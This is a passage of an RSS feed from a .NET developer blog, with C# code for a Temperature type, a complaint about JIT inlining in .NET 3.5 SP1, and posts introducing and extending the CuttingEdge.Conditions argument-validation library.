/><br />    /// &lt;summary&gt;<br />    /// Formats the value of the current instance using the specified <br />    /// format.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;format&quot;&gt;The &lt;see cref=&quot;String&quot;/&gt; specifying the format<br />    /// to use.-or- null to use the default format.&lt;/param&gt;<br />    /// &lt;param name=&quot;formatProvider&quot;&gt;The &lt;see cref=&quot;IFormatProvider&quot;/&gt; to<br />    /// use to format the value.-or- null to obtain the numeric format <br />    /// information from the current locale setting of the operating <br />    /// system.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// A &lt;see cref=&quot;String&quot;/&gt; containing the value of the current <br />    /// instance in the specified format.<br />    /// &lt;/returns&gt;<br />    public string ToString(string format, IFormatProvider formatProvider)<br />    {<br />        TemperatureScale scale;<br /><br />        if (String.IsNullOrEmpty(format))<br />        {<br />            scale = GetTemperatureScaleForCulture(formatProvider);<br />        }<br />        else<br />        {<br />            scale = GetTemperatureScaleFromFormat(format);<br />        }<br /><br />        return this.ToCultureSpecificString(scale, formatProvider);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Compares the current &lt;see cref=&quot;Temperature&quot;/&gt; with another <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;other&quot;&gt;The &lt;see cref=&quot;Temperature&quot;/&gt; to compare with<br />    /// this &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// A 32-bit signed integer that indicates the relative order of the<br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; values being compared. The return value<br />    /// has the following meanings: Value Meaning Less than zero This <br />    /// object is less than the &lt;paramref name=&quot;other&quot;/&gt; parameter. Zero<br />    /// This object is equal to &lt;paramref name=&quot;other&quot;/&gt;. Greater than <br />    /// zero This object is greater than &lt;paramref name=&quot;other&quot;/&gt;.<br />    /// &lt;/returns&gt;<br />    public int CompareTo(Temperature other)<br />    {<br />        return this.kelvin.CompareTo(other.kelvin);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Indicates whether the current object is equal to another object <br />    /// of the same type.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;other&quot;&gt;An object to compare with this object.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// true if the current object is equal to the <br />    /// &lt;paramref name=&quot;other&quot;/&gt; parameter; otherwise, false.<br />    /// &lt;/returns&gt;<br />    public bool Equals(Temperature other)<br />    {<br />        return this.CompareTo(other) == 0;<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Indicates whether this instance and a specified object are equal.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;obj&quot;&gt;Another object to compare to.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// true if &lt;paramref name=&quot;obj&quot;/&gt; and this instance are the same <br />    /// type and represent the same value; otherwise, false.<br />    /// &lt;/returns&gt;<br />    public override bool Equals(object obj)<br />    {<br />        if (!(obj is Temperature))<br />        {<br />            return false;<br />        }<br /><br />        return this.Equals((Temperature)obj);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Compares the current instance with another object of the same type.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;obj&quot;&gt;An object to compare with this instance.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// A 32-bit signed integer that indicates the relative order of the <br />    /// objects being compared. The return value has these meanings: <br />    /// Value Meaning Less than zero This instance is less than <br />    /// &lt;paramref name=&quot;obj&quot;/&gt;. Zero This instance is equal to <br />    /// &lt;paramref name=&quot;obj&quot;/&gt;. Greater than zero This instance is <br />    /// greater than &lt;paramref name=&quot;obj&quot;/&gt;.<br />    /// &lt;/returns&gt;<br />    /// &lt;exception cref=&quot;ArgumentException&quot;&gt;Thrown when <br />    /// &lt;paramref name=&quot;obj&quot;/&gt; is not of type &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// &lt;/exception&gt;<br />    public int CompareTo(object obj)<br />    {<br />        if (obj == null)<br />        {<br />            return 1;<br />        }<br /><br />        obj.Requires(&quot;obj&quot;).IsOfType(typeof(Temperature));<br /><br />        return this.CompareTo((Temperature)obj);<br />    }<br /><br />    private static TemperatureScale GetTemperatureScaleFromFormat(string format)<br />    {<br />        if (format == &quot;C&quot; || format == &quot;c&quot;)<br />        {<br />            return TemperatureScale.Celsius;<br />        }<br /><br />        if (format == &quot;F&quot; || format == &quot;f&quot;)<br />        {<br />            return TemperatureScale.Fahrenheit;<br />        }<br /><br />        if (format == &quot;K&quot; || format == &quot;k&quot;)<br />        {<br />            return TemperatureScale.Kelvin;<br />        }<br /><br />        // For any unrecognized format, throw an exception.<br />        throw new FormatException(String.Format(CultureInfo.InvariantCulture,<br />            &quot;Invalid format string: '{0}'.&quot;, format));<br />    }<br /><br />    private static TemperatureScale GetTemperatureScaleForCulture(<br />        IFormatProvider formatProvider)<br />    {<br />        CultureInfo cultureInfo = formatProvider as CultureInfo;<br /><br />        if (cultureInfo == null)<br />        {<br />            cultureInfo = CultureInfo.CurrentCulture;<br />        }<br /><br />        string currentCultureName = cultureInfo.Name;<br />        string[] fahrenheitCultures = Temperature.fahrenheitCultures;<br /><br />        for (int i = 0; i &lt; fahrenheitCultures.Length; i++)<br />        {<br />            if (currentCultureName == fahrenheitCultures[i])<br />            {<br />                return TemperatureScale.Fahrenheit;<br />            }<br />        }<br /><br />        return TemperatureScale.Celsius;<br />    }<br /><br />    private string ToCultureSpecificString(TemperatureScale scale,<br />    IFormatProvider formatProvider)<br />    {<br />        // When no formatProvider info is supplied, we use the current culture.<br />        if (formatProvider == null)<br />        {<br />            formatProvider = CultureInfo.CurrentCulture;<br />        }<br /><br />        switch (scale)<br />        {<br />            case TemperatureScale.Celsius:<br />                return String.Format(formatProvider,<br />                    &quot;{0} &deg;C&quot;, this.Celsius);<br /><br />            case TemperatureScale.Fahrenheit:<br />                return String.Format(formatProvider,<br />                    &quot;{0} &deg;F&quot;, this.Fahrenheit);<br /><br />            case TemperatureScale.Kelvin:<br />                return String.Format(formatProvider,<br />                    &quot;{0} K&quot;, this.Kelvin);<br /><br />            default:<br />                throw new PostconditionException(<br />                    &quot;Argument 'scale' is invalid.&quot;);<br />        }<br />    }<br /><br />    // Internal helper class for temperature conversions.<br />    private static class Converter<br />    {<br />        public const double ZeroDegreesCelsiusInKelvin = 273.15D;<br />        public const double KelvinToFahrenheitMultiplier = 9.0D / 5.0D;<br />        public const double KelvinToFahrenheitOffset = 459.67D;<br />        public const double KelvinMinimumValue = 0D;<br /><br />        public static double FromKelvinToFahrenheit(double kelvin)<br />        {<br />            return (kelvin * KelvinToFahrenheitMultiplier) -<br />                KelvinToFahrenheitOffset;<br />        }<br /><br />        public static double FromKelvinToCelsius(double kelvin)<br />        {<br />            return kelvin - ZeroDegreesCelsiusInKelvin;<br />        }<br /><br />        public static double FromCelsiusToKelvin(double celsius)<br />        {<br />            return celsius + ZeroDegreesCelsiusInKelvin;<br />        }<br /><br />        public static double FromFahrenheitToKelvin(double fahrenheit)<br />        {<br />            return (fahrenheit + KelvinToFahrenheitOffset) /<br />                KelvinToFahrenheitMultiplier;<br />        }<br />    }<br />}</pre> ]]></description>
			<guid isPermaLink="false">41@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>C#</category>
			<pubDate>Mon, 29 Sep 2008 21:51:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>The .NET 3.5 SP1 JIT changed for worse</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=40</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=40#comm</comments>
                        <description><![CDATA[ The .NET JIT compiler has changed with the new SP1 release of the .NET 3.5 framework. Microsoft claims it's faster. I claim the opposite!<p>This weekend I've been running a serious performance comparison between the .NET framework 3.5 (runtime 2.0.50727.1433) and the -<a rel="external" href="http://blogs.msdn.com/somasegar/archive/2008/08/11/service-pack-1-for-vs-2008-and-net-fx-3-5-released.aspx" target="_blank" title="Somasegar's WebLog - Service Pack 1 for VS 2008 and .NET FX 3.5 released!">just released</a>- .NET framework 3.5 SP1 (runtime 2.0.50727.3053). Reason to run these tests was Microsoft's <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=34" target="_blank" title=".NET Junkie - Inlining of value types">promise</a> to do some performance optimizations on the JIT compiler concerning the inlining of methods containing value types and to see whether I should change the design of <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=38" target="_blank" title=".NET Junkie - Introducing CuttingEdge.Conditions">CuttingEdge.Conditions</a> library because of this.<br /><br />I have to admit it: The new runtime does indeed inline methods that contain value types. However, were the good old 2.0.50727.1433 runtime inlined methods up to 32 bytes of <a rel="external" href="http://en.wikipedia.org/wiki/Common_Intermediate_Language" target="_blank" title="Wikipedia - Intermediate Language">IL</a> (and sometimes even more), the tests I ran indicate that the fresh 2.0.50727.3053 only inlines methods up to 16 bytes of IL! Therefore, while the old runtime made it possible to inline methods with still some complexity, the new runtime practically limits inlining to simple getter and setter properties.<br /><br />I actually don't really see where lowering the number of inlinable methods would actually help improve performance. Yes, I can understand this will help speeding up the JITting process, but who cares about this? I actually care about the performance of my <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=38" target="_blank" title=".NET Junkie - Introducing CuttingEdge.Conditions">CuttingEdge.Conditions</a> library. I did my very best to optimize as much methods as I could in such a way that they would get inlined by the JIT compiler. In my local code base I've got 158 methods out of 193 that consist of 32 bytes of IL or less, but only 12 methods consist of 16 bytes or less. I hope you can see the performance implication this has on my library, and on .NET code in general!<br /><br />For those of you who doubt my observations, please run <a rel="external" href="http://www.cuttingedge.it/blogs/steven/downloads/Program_InlinableMethodTests.cs" target="_blank" title=".NET Junkie - Code example that tests inlinability of the .NET framework">this code</a> in release mode and from the command line with both 1433 and 3053 and you will confirm my observations.<br /><br />I hope someone at Microsoft can explain this to me, because I don't understand it!</p><p><font color="#ff0000">UPDATE 2008-08-20:</font><br />I have been heared! <a rel="external" href="http://blogs.msdn.com/vancem/default.aspx" target="_blank" title="Vance Morrison's Weblog">Vance Morrison</a>, an architect on the .NET runtime team, has <a rel="external" href="http://blogs.msdn.com/vancem/archive/2008/08/19/to-inline-or-not-to-inline-that-is-the-question.aspx" target="_blank" title="Vance Morrison's Weblog - To Inline or not to Inline: That is the question">answered</a> my rants with some great feedback. Thanks Vance!</p> ]]></description>
			<guid isPermaLink="false">40@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#</category>
			<pubDate>Mon, 18 Aug 2008 22:49:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Extending CuttingEdge.Conditions</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=39</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=39#comm</comments>
                        <description><![CDATA[ In a previous post I introduced CuttingEdge.Conditions, a library that helps developers to write pre- and postcondition validations in their .NET 3.5 code base. In this post I'll explain how you can extend the library.<p style="border: 2px solid #00cc00; padding: 4px; background-color: #eeffee"><strong>Download:</strong> The CuttingEdge.Conditions library and source code can be downloaded from <a rel="external" href="http://codeplex.com" target="_blank" title="CodePlex - Open Source Project Community">CodePlex.com</a>. Visit the homepage at <a rel="external" href="http://conditions.codeplex.com" target="_blank" title="Codeplex / CuttingEdge.Conditions">conditions.codeplex.com</a> or go directly to the <a rel="external" href="http://www.codeplex.com/conditions/Release/ProjectReleases.aspx" target="_blank" title="Codeplex / CuttingEdge.Conditions - Releases">releases</a> tab.</p><p><font color="#ff0000"><strong>[UPDATE 2009-09-07]:</strong> This article is based on a beta release of CuttingEdge.Conditions. The library has changed considerably since, and this article should be considered outdated. Please visit the <a rel="external" href="http://conditions.codeplex.com/Wiki/View.aspx?title=extending" title="Extending CuttingEdge.Conditions">Extending CuttingEdge.Conditions</a> wiki page on CodePlex for guidance on extending the current release.</font></p><p><img src="http://www.cuttingedge.it/blogs/steven/images/conditions.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />Why would you want to extend the CuttingEdge.Conditions library?<br /><br />While I believe the library covers most basic validation needs, developers will always have specific needs that CuttingEdge.Conditions (or any other library) doesn't cover. Though it is still possible to write those old fashion '<span class="keyword">if </span><span class="code">(b) </span><span class="keyword">throw </span><span class="code">ex</span>' statements, a more convenient solution is to write your own validation methods. To do this, there are two things you should pay attention to:<br /><br /><strong>1. Place your extension class in your companies root namespace.</strong><br />This way you'll never have to include that namespace. The only namespace you'll have to add is the CuttingEdge.Conditions namespace. After including this namespace, your own extension methods will show up automatically in the IntelliSense dropdown list.<br /><br /><strong>2. Some members won't show up using IntelliSense.</strong><br />Some members of the <span class="type">Validator</span><span class="code">&lt;T&gt;</span> class are decorated with the <span class="type">EditorBrowsableAttribute</span>, preventing them from showing up during IntelliSense. The most important hidden members are the <span class="code">ArgumentName</span> and <span class="code">Value</span> fields and the <span class="code">Throw</span> method. Hiding those members makes a lot of sense, because they aren't used directly by users of the library. Showing them would clutter the API and make using the library more difficult. Hiding them however, makes extending the library harder and it is something you'll have to deal with while extending the library.</p><h5><a name="Examples" title="Examples"></a>Examples</h5><p>CuttingEdge.Conditions has several methods that allow you to check collections. The <span class="code">Contains</span> method for instance, checks whether the given collection argument holds a certain value. The current <a rel="external" href="http://conditions.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=15207" target="_blank" title="CodePlex - CuttingEdge.Conditions - Release v1.0 beta 1">beta 1 release</a> however, lacks a check that works the other way around. That is: To check whether an argument value exists in a certain collection.<br /><br />The following code snippet shows a possible implementation, that can be added to your code base.</p><pre class="cs" language="csharp" customtypes="CuttingEdgeConditionExtensions Validator IEnumerable">using System;<br />using System.Collections.Generic;<br />using System.Linq;<br /><br />using CuttingEdge.Conditions;<br /><br />namespace YourCompanyRootNamespace<br />{<br />    public static class CuttingEdgeConditionExtensions<br />    {<br />        public static Validator&lt;T&gt; ExistsIn&lt;T&gt;(<br />            this Validator&lt;T&gt; validator, IEnumerable&lt;T&gt; collection)<br />        {<br />            if (collection == null || <br />                !collection.Contains(validator.Value))<br />            {<br />                // Throw and ArgumentName won't show up in the <br />                // IntelliSense dropdown list.<br />                validator.Throw(validator.ArgumentName +<br />                    &quot; should be in the supplied collection&quot;);<br />            }<br /><br />            return validator;<br />        }<br />    }<br />}</pre><p>Another way of extending the library is by adding method overloads for the <span class="code">Requires</span> and <span class="code">Ensures</span> entry point methods. <a rel="external" href="http://judahgabriel.blogspot.com/" target="_blank" title="Judah Gabriel Weblog">Judah Himango</a> started a <a rel="external" href="http://www.codeproject.com/KB/library/conditions.aspx?fid=1498290&amp;select=2640907&amp;tid=2640907#xx2640907xx" target="_blank" title="CodeProject - CuttingEdge.Conditions - Discussion: Good. Here's an idea for improvement.">discussion</a> in the message panel on the CuttingEdge.Conditions&rsquo; article on <a rel="external" href="http://www.codeproject.com/" target="_blank" title="The Code Project">The Code Project</a>. He proposed using lambda expressions instead of strings to determine the name of an argument. I decided not to add such a feature to CuttingEdge.Conditions, because of the performance implications that come with it. Not including this feature, isn&rsquo;t actually a big deal, because it&rsquo;s easy to add this feature to your own code base. Below is a code snippet that enables this feature.<a name="Lambda_example" title="Lambda_example"></a></p><pre class="cs" language="csharp" customtypes="ValidatorExpressionExtensions DebuggerStepThrough Validator Expression ValidatorExtensions MemberExpression" customvaluetypes="EntryPointType ">using System;<br />using System.Diagnostics;<br />using System.Linq.Expressions;<br /><br />using CuttingEdge.Conditions;<br /><br />namespace YourCompanyRootNamespace<br />{<br />    public static class ValidatorExpressionExtensions<br />    {<br />        private enum EntryPointType<br />        {<br />            Requires = 0,<br />            Ensures,<br />        }<br /><br />        [DebuggerStepThrough]<br />        public static Validator&lt;T&gt; Requires&lt;T&gt;(this T value, <br />            Expression&lt;Func&lt;T&gt;&gt; argNameExpr)<br />        {<br />            string argumentName = GetArgumentName(argNameExpr, <br />                EntryPointType.Requires);<br /><br />            return ValidatorExtensions.Requires(value, argumentName);<br />        }<br /><br />        [DebuggerStepThrough]<br />        public static Validator&lt;T&gt; Ensures&lt;T&gt;(this T value,<br />            Expression&lt;Func&lt;T&gt;&gt; argNameExpr)<br />        {<br />            string argumentName = GetArgumentName(argNameExpr,<br />                EntryPointType.Ensures);<br /><br />            return ValidatorExtensions.Ensures(value, argumentName);<br />        }<br /><br />        [DebuggerStepThrough]<br />        public static Validator&lt;T&gt; Ensures&lt;T&gt;(this T value,<br />            Expression&lt;Func&lt;T&gt;&gt; argNameExpr, string message)<br />        {<br />            string argumentName = GetArgumentName(argNameExpr,<br />                EntryPointType.Ensures);<br /><br />            return ValidatorExtensions.Ensures(value, argumentName, <br />                message);<br />        }<br /><br />        const string ExceptionMessage = <br />            &quot;The specified expression '{0}' is a {1}, which is not &quot; +<br />            &quot;supported. Only MemberExpressions are supported. Try &quot; +<br />            &quot;expressing the statement as: x.{2}(() =&gt; x);&quot;;<br /><br />        [DebuggerStepThrough]<br />        private static string GetArgumentName&lt;T&gt;(<br />            Expression&lt;Func&lt;T&gt;&gt; argNameExpr, EntryPointType type)<br />        {<br />            if (argNameExpr == null)<br />            {<br />                throw new ArgumentNullException(<br />                    &quot;argumentNameExpression&quot;);<br />            }<br /><br />            MemberExpression memberExpression =<br />                argNameExpr.Body as MemberExpression;<br /><br />            if (memberExpression == null)<br />            {<br />                throw new ArgumentException(<br />                    String.Format(ExceptionMessage, <br />                    argNameExpr.Body.ToString(),<br />                    argNameExpr.Body.GetType().Name,<br />                    type.ToString()),<br />                    &quot;argumentNameExpression&quot;);<br />            }<br /><br />            if (memberExpression.Member == null)<br />            {<br />                throw new ArgumentException(<br />                    &quot;The body of the given expression lacks a Member.&quot;,<br />                    &quot;argumentNameExpression&quot;);<br />            }<br /><br />            return memberExpression.Member.Name;<br />        }<br />    }<br />}</pre><p>You&rsquo;ll see that extending CuttingEdge.Conditions is rather straight forward.<br /><br />Happy coding.</p> ]]></description>
			<guid isPermaLink="false">39@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, CuttingEdge.Conditions, LINQ</category>
			<pubDate>Mon, 04 Aug 2008 14:53:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Introducing CuttingEdge.Conditions</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=38</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=38#comm</comments>
                        <description><![CDATA[ CuttingEdge.Conditions is a library that helps developers to write pre- and postcondition validations in their .NET 3.5 code base. Writing these validations is easy and it improves the readability and maintainability of code.<p style="border: 2px solid #00cc00; padding: 4px; background-color: #eeffee"><strong>Download:</strong> The CuttingEdge.Conditions library and source code can be downloaded from <a rel="external" href="http://codeplex.com" target="_blank" title="CodePlex - Open Source Project Community">CodePlex.com</a>. Visit the homepage at <a rel="external" href="http://conditions.codeplex.com" target="_blank" title="Codeplex / CuttingEdge.Conditions">conditions.codeplex.com</a> or go directly to the <a rel="external" href="http://www.codeplex.com/conditions/Release/ProjectReleases.aspx" target="_blank" title="Codeplex / CuttingEdge.Conditions - Releases">releases</a> tab.</p><p style="border: 2px solid red; padding: 4px; background-color: #ffeeee"><strong>Warning:</strong> This post is based on a pre-release of CuttingEdge.Conditions. While most of the concepts and behavior of the library is the same, the final release has some changes, of which most noticeably is the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57" title=".NET Junkie - Controversial change in CuttingEdge.Conditions">removal of the extension method behavior</a> of the <span class="code">Requires()</span> and <span class="code">Ensures()</span> methods. Please note that the following syntax isn&rsquo;t supported anymore: <span class="code">c.Requires().IsNotNull()</span>. Instead the proposed syntax is <span class="type">Condition</span><span class="code">.Requires(c).IsNotNull()</span>. Please keep that in mind while reading this article.</p><p>Writing precondition validations raises the quality of code. Code with validations is easer to understand and allows developers to find bugs faster, mostly during development instead of during debugging. Writing precondition validations however has always been the poor relation in programming. It takes time to write it and many developers I worked with (even the ones I respect) skipped writing them.<br /><br />Skipping precondition validations will lead to code that is more difficult to use and is likely to be misused. It allows developers to pass invalid method arguments, which results in unexpected program behavior and those awful <span class="type">NullReferenceException</span>s from deep down the call stack. It leads to an higher amount of bugs and thus more time spent debugging.<br /><br />The CuttingEdge.Conditions library is an attempt to lower the barrier of writing precondition validations and to make code more readable, thus resulting in better code, less bugs, and shorter development cycles.<br /><br />To understand how CuttingEdge.Conditions tries to achieve this, let us first have a look at some code we might write on a daily basis. Here is an example of precondition validations, the old fashion way:</p><pre class="cs" language="csharp" customtypes="InvalidEnumArgumentException">void TheOldFashionWay(int id, IEnumerable&lt;int&gt; col, <br />    DayOfWeek day)<br />{<br />    if (id &lt; 1)<br />    {<br />        throw new ArgumentOutOfRangeException(&quot;id&quot;, <br />            String.Format(&quot;id should be greater &quot; +<br />            &quot;than 0. The actual value is {0}.&quot;, id));<br />    }<br /><br />    if (col == null)<br />    {<br />        throw new ArgumentNullException(&quot;col&quot;,<br />            &quot;collection should not be empty&quot;);<br />    }<br /><br />    if (col.Count() == 0)<br />    {<br />        throw new ArgumentException(<br />            &quot;collection should not be empty&quot;, &quot;col&quot;);<br />    }<br /><br />    if (day &gt;= DayOfWeek.Monday &amp;&amp;<br />        day &lt;= DayOfWeek.Friday)<br />    {<br />        throw new InvalidEnumArgumentException(<br />            String.Format(&quot;day should be between &quot; +<br />            &quot;Monday and Friday. The actual value &quot; +<br />            &quot;is {0}.&quot;, day));<br />    }<br /><br />    // Do method work<br />}<br /></pre><p>That&rsquo;s an awful amount of code for a few simple validations! Here&rsquo;s how it looks would CuttingEdge.Conditions be adopted:</p><pre class="cs" language="csharp">void TheConditionsWay(int id, IEnumerable&lt;int&gt; col, <br />    DayOfWeek day)<br />{<br />    id.Requires(&quot;id&quot;).IsGreaterThan(0);<br />    col.Requires(&quot;col&quot;).IsNotEmpty();<br />    day.Requires(&quot;day&quot;).IsInRange(DayOfWeek.Monday, DayOfWeek.Friday);<br /><br />    // Do method work<br />}<br /></pre><p>That&rsquo;s quite different, isn&rsquo;t it? It&rsquo;s not only far less code; it&rsquo;s also very readable. And please note that both methods have exactly the same contract; Both methods throw exactly the same exceptions! </p><p>Besides these normal precondition checks, CuttingEdge.Conditions enables you to do postcondition checks as well. Unlike a precondition, the violation of a postcondition has purely an internal cause. It can be considered a bug. Throwing an <span class="type">ArgumentException</span> in that case would clearly confuse the developer using that code. Because of this difference, CuttingEdge.Conditions will always throw a <span class="type">PostconditionException</span> on a violation of a postcondition.<br /><br />Here is an example of a postcondition check:</p><pre class="cs" language="csharp" customtypes="Activator Collection">public ICollection PostconditionExample()<br />{<br />    Type type = typeof(Collection&lt;int&gt;);<br />    object obj = Activator.CreateInstance(type);<br /><br />    obj.Ensures(&quot;obj&quot;)<br />        .IsNotNull()<br />        .IsOfType(typeof(ICollection));<br /><br />    return (ICollection)obj;<br />}<br /></pre><p>The postcondition example shows two interesting things. Firstly, The <span class="code">Ensures</span> extension method is used to start a postcondition validation. Secondly, method calls can be chained in a fluent manner as shown with the <span class="code">IsNotNull</span> and <span class="code">IsOfType</span> methods.</p><h5><a name="The_API" title="The_API"></a>The API</h5><p>The CuttingEdge.Conditions API has many validation methods that easily cover 98% of your validation needs. There are currently 88 extension methods for 51 different checks. The API can be divided in seven groups:</p><ul><li>Entry point methods</li><li>Null check methods</li><li>Type check methods</li><li>Comparison checks</li><li>Collection checks</li><li>String checks</li><li>Evaluations</li></ul><p>Below I will list all methods that are in the current beta 1 release of CuttingEdge.Conditions. The number of methods will possibly grow over time, and please comment here or on <a rel="external" href="http://conditions.codeplex.com/Thread/List.aspx" target="_blank" title="CodePlex / CuttingEdge.Conditions - Discusions">Codeplex</a> if you think there are validations missing. I will consider adding them to the library. Also note that it&rsquo;s easy for you to extend the API with your own methods, by simply placing extension methods in your own project.</p><h6><a name="Entry_point_methods" title="Entry_point_methods"></a>Entry point methods</h6><p>Entry point methods are used to start the validation. These extension methods can be called on each and every variable, of each and every type. There are currently 2 methods:</p><ul><li>Requires (2 overloads)</li><li>Ensures (3 overloads)</li></ul><p>The <span class="code">Requires</span> extension methods can be used to write preconditions. It will throw an <span class="type">ArgumentException</span> or one of it&rsquo;s descendants on failure. The <span class="code">Ensures</span> extension methods can be used to write postconditions. It will throw an <span class="type">PostconditionException</span>.</p><h6><a name="Null_check_methods" title="Null_check_methods"></a>Null check methods</h6><p>Null checks can be used if arguments require a value or require no value. These checks can be performed on reference types and <span class="type">Nullable</span><span class="code">&lt;T&gt;</span> structures. There are two methods:</p><ul><li>IsNotNull (2 overloads)</li><li>IsNull (2 overloads)</li></ul><h6><a name="Type_check_methods" title="Type_check_methods"></a>Type check methods</h6><p>There are two methods that can be used for a type checking:</p><ul><li>IsOfType</li><li>IsNotOfType</li></ul><h6><a name="Comparison_checks" title="Comparison_checks"></a>Comparison checks</h6><p>Comparison checks validate arguments to be equal to some other value or to be in a given range. They can be performed on <span class="type">Nullable</span><span class="code">&lt;T&gt;</span> structures and all types that implement <span class="type">IComparable</span>. There are currently 12 methods:</p><ul><li>IsEqualTo (3 overloads)</li><li>IsNotEqualTo (3 overloads)</li><li>IsGreaterThan (3 overloads)</li><li>IsNotGreaterThan (3 overloads)</li><li>IsGreaterOrEqual (3 overloads)</li><li>IsNotGreaterOrEqual (3 overloads)</li><li>IsInRange (3 overloads)</li><li>IsNotInRange (3 overloads)</li><li>IsLessThan (3 overloads)</li><li>IsNotLessThan (3 overloads)</li><li>IsLessOrEqual (3 overloads)</li><li>IsNotLessOrEqual (3 overloads)</li></ul><h6><a name="Collection_checks" title="Collection_checks"></a>Collection checks</h6><p>Collection checks can be used on types that (at least) implement <span class="type">IEnumerable</span>. There are currently 18 methods:</p><ul><li>Contains (2 overloads)</li><li>DoesNotContain (2 overloads)</li><li>ContainsAll (2 overloads)</li><li>DoesNotContainAll (2 overloads)</li><li>ContainsAny (2 overloads)</li><li>DoesNotContainAny (2 overloads)</li><li>IsEmpty</li><li>IsNotEmpty</li><li>HasLength</li><li>DoesNotHaveLength</li><li>IsLongerThan</li><li>IsNotLongerThan</li><li>IsLongerOrEqual</li><li>IsNotLongerOrEqual</li><li>IsShorterThan</li><li>IsNotShorterThan</li><li>IsShorterOrEqual</li><li>IsNotShorterOrEqual</li></ul> <h6><a name="String_checks" title="String_checks"></a>String checks</h6><p>There is a separate group of methods that allow validation of strings. There are currently 16 methods:</p><ul><li>Contains</li><li>DoesNotContain</li><li>StartsWith (2 overloads)</li><li>DoesNotStartWith (2 overloads)</li><li>EndsWith (2 overloads)</li><li>DoesNotEndWith (2 overloads) </li><li>HasLength</li><li>DoesNotHaveLength</li><li>IsEmpty</li><li>IsNotEmpty</li><li>IsNullOrEmpty</li><li>IsNotNullOrEmpty</li><li>IsLongerThan</li><li>IsLongerOrEqual</li><li>IsShorterThan</li><li>IsShorterOrEqual</li></ul> <h6><a name="Evaluation" title="Evaluation"></a>Evaluations</h6> <p>For all checks that just can&rsquo;t be done with the methods mentioned above, the <span class="code">Evaluate</span> method overloads are the solution. The first overload checks a <span class="type">Boolean</span> argument and throws when it equals false. The second overload runs a specified <a rel="external" href="http://msdn.microsoft.com/en-us/library/bb335710.aspx" target="_blank" title=".NET Framework Class Library - Expression&lt;(Of &lt;(TDelegate&gt;)&gt;) Generic Class"><span class="type">Expression</span></a> that returns a <span class="type">Boolean</span>. This allows the developer to define a lambda expression. These two overloads allow to literally express any pre- or postcondition you want. There is one method:</p><ul><li>Evaluate (2 overloads)</li></ul><p>Here are two examples of the use of Evaluate:</p><pre class="cs" language="csharp">// Evaluate with boolean<br />s.Requires(&quot;s&quot;).Evaluate(<br />    s.StartsWith(&quot;hello&quot;) || s.EndsWith(&quot;world&quot;));<br />// Evaluate using a lambda expression<br />s.Requires(&quot;s&quot;).Evaluate((str) =&gt; <br />    str.StartsWith(&quot;hello&quot;) || str.EndsWith(&quot;world&quot;));<br /></pre><p>The two examples look quite a lot, but they&rsquo;re actually quite different. The first example uses a boolean argument and the evaluation is very fast. However, it lacks a good exception message on failure:<br />    <em>s should be valid. The actual value is 'world hello'. Parameter name: s</em><br /><br />The overload with the lambda expression is the exact opposite. It has to compile the given expression on every call and it therefore shouldn&rsquo;t be used in performance sensitive parts of your code. But when used, the thrown exception has a very descriptive exception message:<br />    <em>'(str.StartsWith(&quot;hello&quot;) || str.EndsWith(&quot;world&quot;))' should hold for s. The actual value is 'world hello'. Parameter name: s</em></p><h5><a name="Designed_Behavior" title="Designed_Behavior"></a>Designed Behavior</h5> <p style="border: 2px solid red; padding: 4px; background-color: #ffeeee"><strong>Warning:</strong> This post is based on a pre-release of CuttingEdge.Conditions. While most of the concepts and behavior of the library is the same, the final release has some changes, of which most noticeably is the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57" title=".NET Junkie - Controversial change in CuttingEdge.Conditions">removal of the extension method behavior</a> of the <span class="code">Requires()</span> and <span class="code">Ensures()</span> methods. Please note that the following syntax isn&rsquo;t supported anymore: <span class="code">c.Requires().IsNotNull()</span>. Instead the proposed syntax is <span class="type">Condition</span><span class="code">.Requires(c).IsNotNull()</span>. Please keep that in mind while reading this article.</p> <p>The CuttingEdge.Conditions API has been designed very carefully and I hope it behaves in the most intuitive way (you can more read about the design process and some backgrounds <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=36" target="_blank" title=".NET Junkie - My Own Fluent Argument Validation Library">here</a>). Below are some design decisions I made and the consequences of the code a developer has to write. Please let me know if this behavior is odd and needs to change.</p><h6>A null value is considered smaller than any non null value.</h6><p>This is consistent with the way object are validated within the .NET framework. The following lines of code show this behavior:</p><pre 